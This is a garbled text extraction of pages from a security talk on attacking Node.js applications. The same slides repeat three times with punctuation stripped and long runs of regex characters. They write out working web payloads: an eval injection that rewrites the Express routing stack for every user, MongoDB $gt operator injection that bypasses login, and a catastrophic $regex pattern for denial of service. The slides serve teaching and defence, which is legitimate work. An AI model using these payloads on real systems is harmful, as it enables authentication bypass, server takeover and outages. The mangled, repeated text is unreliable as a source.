|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 16: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 17: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 18: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

